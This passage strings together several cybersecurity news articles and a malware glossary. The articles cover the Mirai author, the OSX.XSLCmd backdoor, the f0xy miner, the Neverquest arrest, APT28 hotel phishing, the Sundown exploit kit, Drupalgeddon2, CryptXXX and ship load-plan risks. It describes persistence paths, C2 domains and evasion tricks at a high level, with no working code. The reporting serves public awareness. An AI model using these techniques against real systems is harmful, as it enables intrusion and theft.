responsible for both Mirai and the Rutgers DDoS attacks. Zuberi said when he visited Jha at his Rutgers University dorm in October 2015, Paras bragged to him about launching the DDoS attacks against Rutgers.” wrote Krebs., “He was laughing and bragging about how he was going to get a security guy at the school fired, and how they raised school fees because of him,” Zuberi recalled. “He didn’t really say why he did it, but I think he was just sort of experimenting with how far he could go with these attacks.””, The man alleged created the Mirai botnet and spread it to recruit the largest number of IoT devices., Krebs reported that in 2014, an earlier variant of the Mirai botnet was used to launch DDoS attacks against Minecraft servers which can generate up to US$50,000 a month., Krebs discovered that Jha along with other players developed the Mirai bot and used it to power an attack against the Minecraft servers to lure disgruntled customers. The providers that ignored Jha’s requests were hit by massive DDoS attacks., Krebs explained that Jha contacted upstream providers to request the shutdown of rival IoT firms, then he developed the Mirai bot to attack rival Qbot botnets., Krebs cited a Webinar presented on December 16, by the experts at the firm Digital Shadows that exposed the findings on the investigation about the Mirai author’s real life identity. According to Digital Shadows, the person behind the Anna-Senpai moniker also used the nickname “Ogmemes123123” and the email address [email protected]. He also discovered that the Mirai author has used another nickname, “OG_Richard_Stallman,” a clear reference to the founder of the Free Software Foundation. The [email protected] account was also used to register a Facebook account in the name of OG_Richard Stallman., That Facebook account reports that OG_Richard_Stallman began studying computer engineering at New Brunswick, NJ-based Rutgers University in 2015., the same University attended by Paras Jha. The Rutgers University suffered a series of DDoS attacks on its systems since 2015, the attacker suggested the school purchase a DDoS mitigation service., Krebs also highlighted that the skills listed on Jha’s LinkedIn page are the same of the Mirai author Anna-senpai ‘s HackForums., The Krebs’s analysis is very intriguing and full of details … enjoy it!, Pierluigi Paganini, (Security Affairs – Anna-senpai, Mirai Author), |
6279_68597 | NSA spying apart, what Facebook, Apple, and Google know about their usual users is quite overwhelming. Each of these major players is trying to find more about us. They even go to our friends, family and job network., The big guns know when you are sad, happy, as well as your general internet spendings and many more., Technology is changing so dramatically and has the power to find every bit of information about you. A perfect example of this is the Google Home Assistant or the new self-driving cars that shockingly knows where you want to go, or where’s your home., In quick succession, step by step these big guys are creating probably the most invasive surveillance population in time., It is quite worrisome how a group of known criminals hack them pretty often. Take Uber as an example; the ride-sharing firm is accused of getting hacked for multiple times – not just once or twice., Californians, the world, and privacy, From all of this, you might think Californians are often talking about the privacy policy not only in most private sector, where is believed that law is more occasionally meeting with people., But they actually talk in the private sector, where they have the protection of the 4th Amendment if they encounter problems as “unreasonable” searches., I wish to have a talk at a coffee or a dinner with a tech investor and to ask him “What is your company doing with all the information?” For the moment, there is no possibility of a confrontation at this., Even if California, for the USA, is the center of everything. As for technology, investors, the most brilliant minds, residents and elected officials are the targeted ones when it comes to the privacy policy. And, for sure, as in everything, there are exceptions., I would love to see in the next US elections to prioritize this issue, or it can be an impactful subject in a ballot initiative., Unfortunately, not so many exceptions for tech employees to feel human again. However, the one pushing is the employer, who digs deep into the privacy and enjoys it., , The idea to do good is far to be reached, As I stated above, California might encounter the most impactful debate regarding privacy in the whole world in coming future. Do you consider letting companies keep user data forever? To move in a way and change the terms of service, so they breach privacy?, Should they share information with governments? Would there be an option purge information after a while or to just request to anonymize? It’s an option for only a company to sell information and meanwhile, they discharge the debt in bankruptcy?, What obligation parents have regarding their children’s privacy? It is awkward how Instagram tracks kids’ behavior before reaching the age of consent. Should Instagram keep that information until they are adults?, A very out of date law from California gives us a glimpse of how out of date they are: prohibiting someone to record a phone call without the consent of the other party., For sure it is not a bad law, however, restricts everyone just for the idea of privacy. Sadly, this rule is not applied since data is gathered without shame. We can imagine revenging porn laws that protect us from unauthorized shops from centerfolds., All in all, we exposed ourselves to comprehensive, intrusive, relentless surveillance at our daily activities., John Naughton an Irish academic affirmed, “and we have no idea what the long-term implications of this (surveillance) will be.”, Some end thoughts, Some of this is the threat when others are scared by the idea of imposed limits. Yet, people value privacy and having it updated can mean a better future. For sure it is impossible to stop privacy threats sometimes., But in exchange shouldn’t we prioritize and make things better? Californians have a high position here, more than anyone, yet they haven’t made a bit of effort., And of course, not just the ones living in California – we all, no one, should keep their voice low against the surveillance. Speak up!, Written by Ali Qamar, Founder/Chief Editor at Cyberogism.com, Author Bio:
Ali Qamar is a tech and security enthusiast who enjoys “deep” research to dig out modern discoveries in the security industry. Currently, he is the chief editor at Cyberogism.com, an ultimate source for tech, security and innovation. To be frank and honest, Ali started working online as a freelancer and still shares the knowledge for a living. He is passionate about sharing the knowledge with people, and always try to give only the best. Follow Ali on Twitter @AliQammar57, Pierluigi Paganini, (Security Affairs – hacking, WordPress) |
1450_28094 | Experts at FireEye Labs have discovered a previously unknown variant of the APT backdoor XSLCmd, OSX.XSLCmd, which is used by a group of hackers known for past cyber espionage activities against the U.S. Defense Industrial Base., The malware was designed to compromise Apple OS X systems starting from the Windows version of the XSLCmd backdoor, which it shares a significant portion of its code., When dropped on a Mac the malicious code copies itself to /Library/Logs/clipboardd and $HOME/Library/LaunchAgents/clipboardd and to gain persistence it also creates a plist file in the same directory with the name com.apple.service.clipboardd.plist., The XSLCmd backdoor has been around since at least 2009 and has been used in different targeted attacks over the past several years as explained by the researchers at FireEye Lab in a blog post., “Based on our historical intelligence, we believe that the XSLCmd backdoor has been solely used by the threat group we call “GREF.” We track this threat group as “GREF” due to their propensity to use a variety of Google references in their activities – some of which will be outlined later in this report. Our tracking of GREF dates back to at least the 2009 timeframe, but we believe they were active prior to this time as well. ” states the post., The XSLCmd backdoor and is capable of opening a reverse shell, accessing victims file system, transferring files and installing additional malware on the infected PC, logging keystrokes and capturing screen shots., The backdoor checks the OS X version and not considers versions above 10.8, aka Mountain Lion, it’s likely that version 10.8 was either the latest OS X version when the authors of the malware designed it., As anticipated the GREF APT hit wide range of organizations, including the US Defense Industrial Base (DIB):, “Historically, GREF has targeted a wide range of organizations including the US Defense Industrial Base (DIB), electronics and engineering companies worldwide, as well as foundations and other NGOs, especially those with interests in Asia,” states FireEyesaid,, The GREF used mainly watering hole attacks to serve the backdoor, but it has occasionally used also phishing emails to distribute the malicious code., , FireEye confirmed that GREF APT has used zero-day exploit in the past to infect victims through the exploitation of vulnerabilities in browsers or browser plug-ins like Flash Player, Adobe Reader and Java., GREF was particularly active in the 2010 then it used different 0-day exploits, including CVE-2010-0806, CVE-2010-1297 and CVE-2010-2884 in its attacks. The hackers compromised many website for its watering hole attacks, including Center for Defense Information (cdi.org), National Defense Industrial Association (ndia.org), Interservice/Industry Training, Simulation and Education Conference (iitsec.org), and satellite company Millennium Space Systems (millennium-space.com)., The discovery confirms the increasing interest of APT in the exploitation of OS X based systems, the new XSLCmd variant is the latest of several backdoor programs for Mac OS X that were detected by security firms and that have been used in cyber espionage attacks., The wrong conviction that Mac OS X systems are more secure of Windows platforms has advantaged the attackers in the past years., “OS X has gained popularity across enterprises, from less savvy users who find it easy to operate, to highly technical users that utilize its more powerful features, as well as with executives,” the FireEye researchers said., APT are able to conduct insidious campaigns for years adapting their tactics and exploring technology, Pierluigi Paganini, (Security Affairs – Mac OS X, backdoor) |
3024_42032 | In these hours we are discussing the tragic Paris attacks, we are trying to collect the greatest amount of information as possible about the organization of the ISIS. How does the ISIS conduct its propaganda? Which are the communication channels they use? Which will be the next target?, Researching the topic on the web I have found an interesting post published by the Israel homeland Security website. We all know that the Western intelligence run Internet surveillance program and many governments apply a strict censorship on the online activities of their population. Probably the majority of you has read about the “The Great Firewall of China,” one of the most sophisticated surveillance system that is used by the Chinese Government to monitor the online activities of the population and block all the content not aligned with the policy of Beijing., The Russian government has its surveillance system known as SORM exactly like the British government that manage a network of systems used to screen internet activities, experts refer it with the term “Hadrian’s Firewall.”, The question is … does the ISIS block online activities in the territories it has occupied? How does it do?, , The response is affirmative, the ISIS also controls and block Internet access from its region, it monitors the flow of information in and out of the provinces it occupies., The mechanism is simple and effective, the self-proclaimed caliphate has banned every private access to the Internet., “Since earlier in the year, ISIL has been monitoring access to the internet – quite literally, access to the internet itself. Previously, in cities likes Raqqa, Syria, “people would go to the cafes and pay money for internet and have a password or a username,” said Abu Ibrahim al-Raqqawi – an activist with the group Raqqa is Being Slaughtered Silently. “They were sitting in their homes and could access the internet” connecting to WiFi extenders operated by many neighbourhood internet cafes.” states the post published on the Israel homeland Security., Basically every individual that wants to go online need to use a computer in an Internet cafè where he is tracked. The members of the ISIS in an unpredictable way inspect internet cafes and the machine used by the local people to check none has violated its rules., Now, private internet access in banned. To go online, “you need to go to the internet cafe and you need to have your ID and they will register your name, the time you enter, and the time you’re out,” says Raqqawi, who uses a pseudonym., Each offender is punished, and we all know the methods of ISIS., Pierluigi Paganini, (Security Affairs – Paris attacks, ISIS) |
1886_32940 | Security experts at Websense have spotted a new strain of malware dubbed “f0xy” that leverages legitimate websites and web services in order to run malicious activities. A first sample of f0xy discovered by Websense is dated January 13, 2015, but the experts confirmed that the malware has been improved since then. f0xy originally worked only on Windows Vista and later versions Microsoft OS, meanwhile recent variant are effective also on Windows XP., The name f0xy was assigned because the presence of this particular string has been found in its executables and the registries it creates., , The f0xy malware is able to dynamically change its command-and-control (C&C) and download and execute arbitrary files, the authors have dedicated particular attention to the techniques of evasion to hide the malicious code to victims and security firms., A first sample of the dropper used by the malware was detected by only 5 of the antivirus engines on VirusTotal when it was analyzed by the researchers, at this moment the detection rate is slightly increasing (24/57 ), but it’s still low., “Websense Security Labs have discovered a new and emerging malware downloader that employs evasion techniques and downloads a cryptocurrency miner. The new malware, which we have named ‘f0xy’, is able to dynamically change its command-and-control (C&C), and download and execute arbitrary files. More interestingly, f0xy’s evasion tactics include leveraging the popular Russian social networking site VKontakte, and employing Microsoft’s Background Intelligent Transfer Service to download files.” Websense researcher Nick Griffin explained in a blog post., Very interesting the technique adopted by f0xy to dynamically change the C&C, the operators use an encoded string posted through a specific VKontakte profile pointed by the malware. The URL of the command & control server is posted as a comment by this profile., Once the f0xy downloader finds itself on a machine it exploits the Microsoft Background Intelligent Transfer Service (BITS) to download its payload. The choice is very effective because BITS is used by Microsoft systems for transferring files between a client and a server using idle network bandwidth, a process that was not considered suspicious by antivirus solutions., “The f0xy downloader calls upon bitsadmin.exe to download its payloads, which is the Microsoft Background Intelligent Transfer Service (BITS). BITS provides a way of using idle bandwidth to perform file transfers, meaning that bandwidth requirements from other applications are not interrupted or interfered with. Many Windows services rely upon this service, including Windows Update and Windows Defender.” continues the post., The experts confirmed the financial motivation of the operators behind f0xy campaign, the f0xy variant uncovered by Websense is CPU Miner working on 64-bit version architecture. Threat actors use the CoinMine.pw mining pool to coordinate mining activities run by the infected machines., “It is clear that financial motivations remain at the forefront of cybercriminal minds, with the anonymity of cryptocurrency providing a somewhat safer route for collecting the spoils,” Griffin said. “We also expect to see a continuing growth of malware authors migrating to legitimate and reputable websites, to hide their malicious activities, and we expect plenty more evasion tactics adopted as authors continue to subvert security products.”, Pierluigi Paganini, (Security Affairs – f0xy, malware) |
33_346 | If we talk about security which could be our worst nightmare? My answer is “to be vulnerable in every moment of our day, whatever we are doing and wherever we are” How could this happen?, Hey guy … but this has not already happened! When I have speculated all this scenarios months ago, they called me paranoid, visionary, conspiracy theorist. Yet it happened! How can we still save our privacy policy and how?, Every day there is an unimaginable number of intercepted information, whether phone, email, SMS and data. In the name of security, control, the imperative is to spy everybody! No one is safe from the eye of the modern Orwellian Big Brother mandated by governments everywhere. An affair of many billions of dollars a year with the involvement of government agencies and private companies that make their services available to democracies and dictatorships in an unregulated market., News today that WikiLeaks has come into possession of hundreds of “Spy Files” detailing the services offered by the companies of electronic surveillance in all countries. Amazing. Everything can be controlled and commodified., , , The lives of individuals such as spreadsheets in a huge archive. It ‘can be “stolen”, “counterfeiting”,it is possible to copy it and analyze it. Specialized companies such as South African Vastech monitor any user, even him satellite communications. Like German Elaman and the Spanish Agnita, companies can control each telephone subscriber, managing for him communications, text messaging and data traffic., Italy’s black jersey … all is admissible in Italy0, like the use of a Trojan for interception, even if the malware actually changes the substance of the host PC. Who certifies the controller? In Italy, yes we can!, Just to give some numbers of the huge quantity of data that daily we procude ever internet, Every 60 seconds on the Web spend 168 million of e-mails, 370000 phone calls via Skype , 98000 tweets, 694,445 Google searches,1500 new blog posts, 600 new videos uploaded to YouTube … that is an amazing mine of data and control it is the real challenge., The web site published by Assange is an excellent source for all those person who take in care their “privacy dream”. Governments and private companies monitor us, they listen our conversations, they read our emails … they are tracing our life and to much time they are influencing it. This is the new frontier, to be able to control human perception of the life directing political opinion, culture, customs and costumes even commercial needs., Now I will not bore you … Let’s go to take a look at the operating site, let understand who and why is spying us and let think on how evade them …, Pierluigi Paganini, , References, |
4769_55547 | Today I report another success of law enforcement, the Spanish police have arrested an alleged Russian Vxer suspected of developing the infamous Neverquest banking Trojan. The malware was developed to target financial institutions across the world., Lisov is suspected of being the author of the malware and the person who administrated the control infrastructure., The Neverquest was used by cyber criminals to steal login credentials from banking customers, it leverages on injection mechanisms to provide users fake forms into legitimate banking websites. The banking trojan is able to record keystrokes, to steal passwords stored on the PC, and take screenshots and video from the victims’ machine., The Neverquest malware is able to log in to the victim’s online banking account and perform fraudulent transactions., On Friday, the Russian citizen Lisov SV (32) was arrested at the Barcelona airport by the Guardia Civil., , The arrest is the result of the collaboration between the Spanish law enforcement and the FBI., “The arrest took place at El Prat Airport (Barcelona), when agents controlling their movements observed that they were leaving Spain on a flight to another EU country, The defendant had developed, distributed and used, along with others, malicious software “NeverQuest”, designed to access personal computers and financial institutions in order to steal bank credentials, credit card information and personal and financial information.” reads the statement issued by the Spanish Police. , “The Guardia Civil, in collaboration with the FBI, has detained 32-year-old Russian citizen LISOV SV, wanted by the United States of America through an international detention order, in Barcelona, as responsible for a network conspiring to commit hacking And fraud through the use of electronic means.”, The FBI had been working with the Spanish authorities to track down the suspect through an international arrest warrant, according to a statement from the agency. The FBI, however, declined to comment on the man’s arrest., The Neverquest banking trojan, , aka Vawtrak, is very popular in the criminal underground.It has been around for several years and was used to target of hundreds of financial institutions worldwide., The threat evolved over the time, on March 2015 experts from antivirus firm AVG discovered a variant of the malware that was able to send and receive data through encrypted favicons distributed over the Tor network., One of the last variant discovered in summer 2016 was spotted by experts from Fidelis firm. The new version of the Neverquest malware, aka Vawtrak banking Trojan, includes significant improvements such as the SSL pinning and leverages on a DGA mechanism to generates .ru domains with a pseudorandom number generator (PRNG) discovered in the loader., In June 2015 experts at Fortinet uncovered a strain of the banking Trojan that was implementing an obscuring mechanism based on the Tor2Web service., According to IBM Security, Neverquest was the most active financial malware in the world., , According to Spanish law enforcement, the NeverQuest Trojan has resulted in financial losses from victims of about US$5 million. The police discovered on a seized server files with millions of stolen login credentials from bank website accounts., Russian diplomats have sent a request to the Spanish authorities to receive more information about the arrest and the charges against the Russian citizen., Pierluigi Paganini, (Security Affairs – NeverQuest banking Trojan, malware) |
5779_63835 | The Russian hacker group APT28, also known as Sofacy or Fancy Bear, is believed to be behind a series of attacks in last July against travelers staying in hotels in Europe and Middle East., This attack is performed by sending spear phishing emails to the victims, masquerading as a hotel reservation form that, if opened and macros are enabled, installs a malware in the machine’s victim., Why should Fancy bear do this? According to FireEye and other security firms, Sofacy is a cyberespionage group and a good tool to get info about people (possibly businessmen and politicians) hosted in important hotels, is to deceive them to install a spyware with a Command and Control that monitors the actions of all the victims., , Figure 1 – Screen of Word dropper., The above figure shows an example of the weaponized document used by hackers as an attachment in spear phishing emails. The document contains a payload achievable when macro is enabled. In fact, the macro is a Visual Basic script used to decode the malicious payload and to create a series of files, according to the following scheme:, , Figure 2 – Files’ creation and execution scheme, The file “mvtband.dat” is the core of the malware that contains a C2C client, which tries to connect to servers, “mvtband.net” and “mvband.net” in order to send the info gathered about the victim’s host and receive new commands to execute on it. In particular, the malware contacts these C&C servers with POST request on a random path. The body contains some info, among them the list of the executing processes, info about system settings, browser preferences, encrypted using its own algorithm. Moreover, from our advanced analysis, we discovered that Hospitality Malware takes screenshots of the machine that most likely it sends to the C2C together with other info. But, nowadays, these servers are blacklisted so we can’t analyze all the complete behavior of Hospitality Malware., You can download the full ZLAB Malware Analysis Report at the following URL:, About the author: Antonio Pirozzi, Principal Malware Scientist and Senior Threat Researcher for CSE CybSec Enterprise spa, , Actually, he holds more than 10 Infosec International Certification, from SANS, EC-Council and Department of Homeland Security.
His experience goes beyond the classical Computer Security landscape, he worked on numerous projects on GSM Security, Critical Infrastructure Security, Blockchain Malware, composition malware, malware evasion., , , Luigi Martire is graduated in Computer Engineering at the University of Sannio. He’s part of University of Sannio Software Security Lab (ISWAT lab) and participated in some cyber security projects, among them “DoApp – Denial Of App”. Nowadays, he’s also Malware Analyst and Threat Researcher for Z-Lab, the malware lab of CSE CybSec Enterprise spa., , , Antonio Farina is graduated in Computer Engineering at the University of Sannio. He’s part of University of Sannio Software Security Lab (ISWAT lab) and participated in some cyber security projects, among them “DoApp – Denial Of App”. Nowadays, he’s also Malware Analyst and Threat Researcher for Z-Lab, the malware lab of CSE CybSec Enterprise spa., , Pierluigi Paganini, (Security Affairs – hospitality malware, Fancy Bear) |
4685_54886 | Security experts from Trend Micro have spotted a new version of the Sundown exploit kit that exploits steganography in order to hide malicious code in harmless-looking image files., The use of steganography was recently observed in the malvertising campaigns conducted by the AdGholas and GooNky groups., The GooNky group leveraged on steganography to hide malvertising traffic, while AdGholas has used a more sophisticated technique leveraging the Stegano exploit kit., Crooks encoded a script in the alpha channel of an image to deliver the malicious code via rogue ads that looked like legitimate., Earlier in December, researchers from ESET discovered that Stegano hide portions of its malicious code in parameters controlling the transparency of pixels used to display banner ads, but the impact of the appearance of the images is almost imperceptible., “The malicious version of the graphic has a script encoded in its alpha channel, which defines the transparency of each pixel. Since the modification is minor, the final picture’s color tone is only slightly different to that of the clean version” reads the analysis published by ESET., A similar technique has been observed for a new version of the Sundown EK spotted by the researchers at Trend Micro on December 27., “On December 27, 2016, we noticed that Sundown was updated to use similar techniques. The PNG files weren’t just used to store harvested information; the malware designers now used steganography to hide their exploit code.” reads the analysis published by Trend Micro., The updated version of Sundown has been used in several malvertising campaigns, mostly targeting users in Japan, Canada, France and the US., “The newly updated exploit kit was used by multiple malvertising campaigns to distribute malware. The most affected countries were Japan, Canada, and France, though Japanese users accounted for more than 30% of the total targets.”, , , , The new Sundown EK leverages on hidden iframes that automatically connects to a page hosting the Sundown EK. The page downloads a white PNG image and decodes malicious code it contains., “In this updated version, the exploit kit’s malvertisement creates a hidden iframe that automatically connects to the Sundown landing page,” continues the post.“The page will retrieve and download a white PNG image. It then decodes the data in this PNG file to obtain additional malicious code.”, Researchers from Trend Micro leveraged on malicious code to trigger Internet Explorer flaws CVE-2015-2419 and CVE-2016-0189, and the Flash Player flaw tracked as CVE-2016-4117., The researchers observed threat actors leveraging on the Sundown EK to deliver the Chthonic banking Trojan, a variant of the infamous Zeus malware, that was used by crooks in a PayPal scam in July., The Sundown EK ranks today at the second place, behind RIG EK that is the most used crimeware kit in the criminal ecosystem., According to security experts from Cisco Talos, threat actors behind the Sundown exploit kit leverage on an infrastructure composed of 80,000 malicious subdomains associated with more than 500 domains., The experts observed that crooks behind the Sundown EK are using wildcards for subdomains which are exponentially growing the number of routes for malicious traffic to servers hosting the dreaded exploit kit., Pierluigi Paganini, (Security Affairs – Steganography, Sundown exploit kit) |
6499_70785 | A few days ago, Drupal Security Team confirmed that a “highly critical” vulnerability, tracked as CVE-2018-7600, affects Drupal 7 and 8 core and announced the availability of security updates on March 28th., The vulnerability was discovered by the Drupal developers Jasper Mattsson., Both Drupal 8.3.x and 8.4.x are not supported, but due to the severity of the flaw the Drupal Security Team decided to address it with specific security updates., Now the Drupal development team has fixed the vulnerability that could be exploited by an attacker to run arbitrary code on the CMS core component and take over a website just by accessing an URL., The Drupal CMS currently runs on over one million websites, it is the second most popular content management system behind WordPress., Website administrators should immediately upgrade their sites to Drupal 7.58 or Drupal 8.5.1., The flaw was dubbed Drupalgeddon2 after the CVE-2014-3704 Drupalgeddon security vulnerability that was discovered in 2014 that was exploited in numerous successful attacks in the wild., , The good news is that at the time there is no public proof-of-concept code available online., “A remote code execution vulnerability exists within multiple subsystems of Drupal 7.x and 8.x. This potentially allows attackers to exploit multiple attack vectors on a Drupal site, which could result in the site being completely compromised.” reads the security advisory published by Drupal., “The security team has written an FAQ about this issue. Solution:, Upgrade to the most recent version of Drupal 7 or 8 core., The Drupal team took the site offline before the announcement to do a version upgrade, and now the site doesn’t work ???, — Kevin Beaumont, Actual Porg ? (@GossiTheDog) March 28, 2018, , The Drupal team also issued security patches for the 6.x versions that were discontinued in February 2016., “This issue also affects Drupal 6. Drupal 6 is End of Life. For more information on Drupal 6 support please contact a D6LTS vendor.” continues the advisory., Pierluigi Paganini, (Security Affairs – Drupal, Drupalgeddon2) |
3861_48225 | Crooks behind the CryptXXX ransomware have launched a new campaign leveraging on the Neutrino Exploit Kit instead the Angler Exploit Kit. It was a significant change in the attack chain that was discovered by the experts from the SANS Internet Storm Center., The experts identified the ransomware-based attacks as the pseudo-Darkleech campaign., “By Monday 2016-06-06, the pseudo-Darkleech campaign began using Neutrino exploit kit (EK) to send CryptXXX ransomware. Until then, I’d only seen Angler EK distribute CryptXXX. However, this is not the first time we’ve seen campaigns associated with ransomware switch between Angler EK and Neutrino EK.” wrote Brad Duncan. “It was documented as early as August 2015. This can be confusing, especially if you’re expecting Angler EK. Campaigns can (and occasionally do) switch EKs.”, The changes in the attack method were observed concurrently to a resurgence of the CryptXXX ransomware that observed in the wild with improved features, including a new encryption algorithm and a new StillerX credential-stealing module., , The attacks leveraging the Neutrino EK observed by the experts target the Java runtime environment, recently the exploit kit was integrated with the code for the exploitation of the CVE-2016-4117 vulnerability in the Adobe Flash software., “Last month, Neutrino EK was documented using Flash exploits based on CVE-2016-4117 effective against Adobe Flash Player up to version 21.0.0.213,” said Duncan., The recent campaign spotted by the SANS Internet Storm Center related the pseudo-Darkleech campaign were using the Neutrino EK to spread the CryptXXX ransomware., In the same period, the researcher discovered a website compromised through injected script also for another ransomware campaign dubbed EITest campaign., “On Tuesday 2016-06-07, I found a website with injected script for both the pseudo-Darkleech campaign and the EITest campaign.” wrote Duncan., The experts observed an increase in the virulence of the attacks, in some cases websites compromised were hosting servers for both the pseudo-Darkleech campaign and the EITest campaign operated to serve the CryptXXX ransomware., “In both cases, Neutrino EK delivered CryptXXX ransomware as a DLL file. As usual with CryptXXX infections, we sawC:\Windows\System32\rundll32.exe copied to the same folder as the CryptXXX DLL file. In this case, it was re-namedexplorer.exe.” reported the analysis published by the SANS Center., The two CryptXXX DLL files from these infections are:, “I was able to generate traffic for each campaign, but I had to use two separate visits, because the pseudo-Darkleech script prevented the EITest script from generating any EK traffic,” Duncan added., Give a look to the detailed analysis published SANS for further information on the attacks., Pierluigi Paganini, (Security Affairs – CryptXXX, ransomware) |
6004_66107 | Transportation is not immune from hacking attacks, aircraft and vessels can be compromised by cyber criminals and nations state actors exactly like any other system., Today let’s speak about ship loading and container load plans that are vulnerable to hack because are created without using a secure messaging system., Electronic messages that are exchanged between the entities responsible for these activities include a huge quantity of information that could be used by ill-intentioned to to target naval transportation entities, including shipping lines, terminals, and port authorities., Large vessels rely a system called BAPLIE to displace thousands of containers, it is used to inform port authorities where to place every single container, and it is regularly updated by ship’s manufacturers., , Researchers at the security firm Pen Test Partners who analyzed BAPLIE discovered that if customers do not use the latest version are open to cyber attacks that can allow crooks to send fake container’s data to the customs (obscure the real contents and weight of the load)., This information is used by port authorities and law enforcement to choose which containers have to be examined, altering data could allow criminal organizations to avoid controls., The attackers could be interested in manipulating container weight and ship balance to make the ship more and more unstable as heavy goods are inadvertently loaded in the wrong position of the vessels., “Criminals less interested in destabilising ships but perhaps instead stealing goods by rerouting containers, would use COPRAR / COPARN / CODECO / COARRI messages instead. These deal with shipping line to terminal messaging and vice versa.” reads the post published by Pen Test Partners., “There’s evidence to suggest that ship and terminal messaging systems have been exploited in the past for routing drugs and theft of valuables.”, The experts at Pen Test Partners warned about the transmission channel used to send load plans from the ship to the port, they discovered that in many cases the personnel involved in the operations use USB devices for exchanging data between ship and terminal., This procedure opens the door to a malware-based attack because the computer having load plan software might also be used for surfing the web or emailing., Researcher claims that interoperability is vital between shipload plan and the various ports that it visits so that the load plan is securely transmitted to the port., “Interoperability between the ship load plan and the hundreds of ports it may visit is essential – this leads to a race to the bottom in terms of securing and transmitting the load plan to the port. Simple = USB = vulnerable” states a separate report published by the security firm., “This is ripe for attack. The consequences are financial, environmental and possibly even fatal.”, The manipulation of load plans could have dramatic impact on the shipping lines, operators, terminals and ports have to continuously assess their infrastructure, including messaging systems., Pierluigi Paganini, (Security Affairs – Loan Plans, hacking) |
2429_37864 | MalwareMalware is essentially any software that performs actions that are not known and authorized by the user. While most of the malware that we read about in the news or on forums for the most part have damaging effects on the infected device, the term malware also encompasses less damaging software, such as PUPs.Virus, Viruses are a type of malware that require user intervention to infect a device. What this means, is that the victim must actually run the software that contains the virus’ code. Viruses have often been spread via e-mail, i.e. through “chain e-mails” as attachments that are named as something else. Viruses are often spread as files that contain solely malicious code. This means that rather than spreading and masquerading as a legitimate application, viruses are often files that contain nothing but malicious code, which places the burden on the sender to convince their target to download and launch the malicious software., There are several types of viruses, but one that I will mention are Macro viruses. Macro viruses are spread via Macro code (code that can be embedded inside a Microsoft Office document (e.g. Microsoft Word document, Microsoft Excel spreadsheets) that are launched when the document is opened. There are a very large quantity of Macro viruses still being spread in-the-wild today., Trojan, Trojans are a type of malware that also require user intervention to infect a device. Like viruses, victims must run the software that contains the Trojan’s code in order for it to successfully compromise the victim’s device. However, Trojans (hence the name “Trojan Horse”) are different from viruses in the sense that they often appear to be a legitimate application that the victim may have been searching for. Often, the malicious code launched by a Trojan is actually appended to the end of a legitimate application to better deceive their targets., Additionally, there are several types of Trojans. The three that I believe are worth mentioning are:, Trojan Downloader – A Trojan that, when launched, downloads additional file(s) that actually contain the final payload (e.g. ransomware, a DLL containing a backdoor).
Trojan Injector – A Trojan that, when launched, injects malicious code into another process, often a legitimate process, to evade detection.
Trojan Dropper – A Trojan that, when launched, drops an additional file (usually) containing the malware’s payload. Usually an executable file or DLL containing an additional payload (i.e. the final, most damaging payload) and/or used for persistence (maintaining access to the compromised device)., Worm, Worms are a type of malware that differ from Trojans and Viruses. Worms cause arguably the most damage to the device(s) that they compromise; this is because worms are self-replicating. Worms can spread without user intervention, and in effect, a single worm infection can spread to an entire network. Worms in the news includeStuxnet, Koobface, and Conficker. I set up a vulnerable device and let it run for a couple weeks and logged hundreds of unique Conficker variants within the first week on a brand new device. Worms are still out there, and Conficker is still very active., Ransomware, Ransomware has been around for quite some time, though it made national headlines a few years ago with the development and spread of CryptoLocker. As can be derived from the name, Ransomware is a type of malware spread by attackers with the goal of demanding a ransom from their victims; most often for financial gain., Specifically, Crypto Ransomware will go through all of the directories, files and sometimes network shares and mapped drives of the victim’s device. It will open supported files (varies by variant) and then encrypt the contents of each supported file. This renders the files useless, and if the file contains pertinent data and no backup of it exists, this can be quite damaging to an individual or an organization as a whole. Ransomware authors generally demand a ransom payment in order restore affected files to their previous state, usually paid in Bitcoin. However, trusting criminals and funding their activity is never recommended., Rootkit, Malware that is capable of evading all anti-malware utilities, the affected device’s operating system itself, and that may be extremely hard to remove. Rootkits often infect theMBR of the targeted device, and are distributed by attackers as a “hard-to-detect”, persistent method of accessing their targets. Rootkits often function as keyloggers, and their removal often requires the user to format their device; deleting the infected partition and re-partitioning the device is the most accepted remediation method., Many people think that system restores are effective methods of restoring a compromised device. For one, they aren’t, but even more so in the case of a rootkit infection. Rootkits are generally installed as drivers; as new restore points are created, older ones are purged, and it’s important to remember that these restore points include copies of drivers and other configuration items. Meaning, eventually, the system restore points will become infected as well., Keylogger, As the name states, keyloggers record keystrokes on the affected device, usually dumping all logged keystrokes to a file in a discrete location, to later be sent over to the attacker, often via SMTP (e-mail). Keylogging is an easy way for attackers to obtain usernames, passwords, and credit card numbers of their targets., Remote Access Trojan (RAT), A type of malware, specifically under the Trojan category, that allows a remote attacker to gain full control of an infected device., Zombie (or “Bot”)A zombie is a device that has been compromised with malware that listens for commands from a remote attacker (via a command-and-control server), that the remote attacker often has complete control of. Zombies comprise a botnet, and are most often leveraged when carrying out DDoS attacks.Command-and-Control Server (or “C2 Server”), A command-and-control server (or “C2 Server”) is a server dedicated to managing a botnet (network of zombies). While C2 servers can be dedicated devices set-up and configured by the attacker(s), legitimate websites with known vulnerabilities (commonly: websites running vulnerable versions of WordPress) have often been compromised by attackers and converted into C2 servers. It is not uncommon for an attacker to take control of a vulnerable website and implement the command-and-control functionality in the background, remaining undetected by the actual site owner for quite some time., Exploit Kit, Many define exploit kits as a type of malware but I disagree. An exploit kit is a full software suite (usually a complete web application written in PHP) that is used to distribute malware in an automated fashion, leveraging exploits to install the malware on vulnerable devices without user intervention (other than browsing a specially crafted page)., Exploit kits serve a landing page that carries out the core functions; this page will scan the target to determine their browser, browser version, installed plug-ins, and other identifying information. Exploit kits have an arsenal of commonly-known vulnerabilities, and sometimes zero-day vulnerabilities. If the target is found to be vulnerable to one of the vulnerabilities in its arsenal, the exploit kit will then leverage the vulnerability to force the download and execution of malware onto the target system., Zero-Day, A zero-day or zero-day vulnerability is a vulnerability that (was) not previously known to exist by the security community nor the vendor. Attackers exploit these previously unknown vulnerabilities to compromise even the most recently updated, hardened devices. Zero-days are often kept secret for as long as possible by attackers, and are sometimes even sold in “underground” markets., Obfuscate, Often we see the term "obfuscated" when reading malware analysis reports, but what does this mean? Well, to obfuscate somethinig essentially means to hide something or make something illegible. Malware authors obfuscate their code to render it unreadable and hide its malicious nature; often you will see malicious JavaScripts files to be obfuscated, although in my experience, they’re not quite difficult to deobfuscate., The obfuscation of code is often done not only to deem it illegible, but different obfuscation methods could lead to different file sizes, giving the file containing the obfuscated a code a different signature, to evade anti-virus detection., Deobfuscate, Referencing the above definition of obfuscate, to deobfuscate is to do 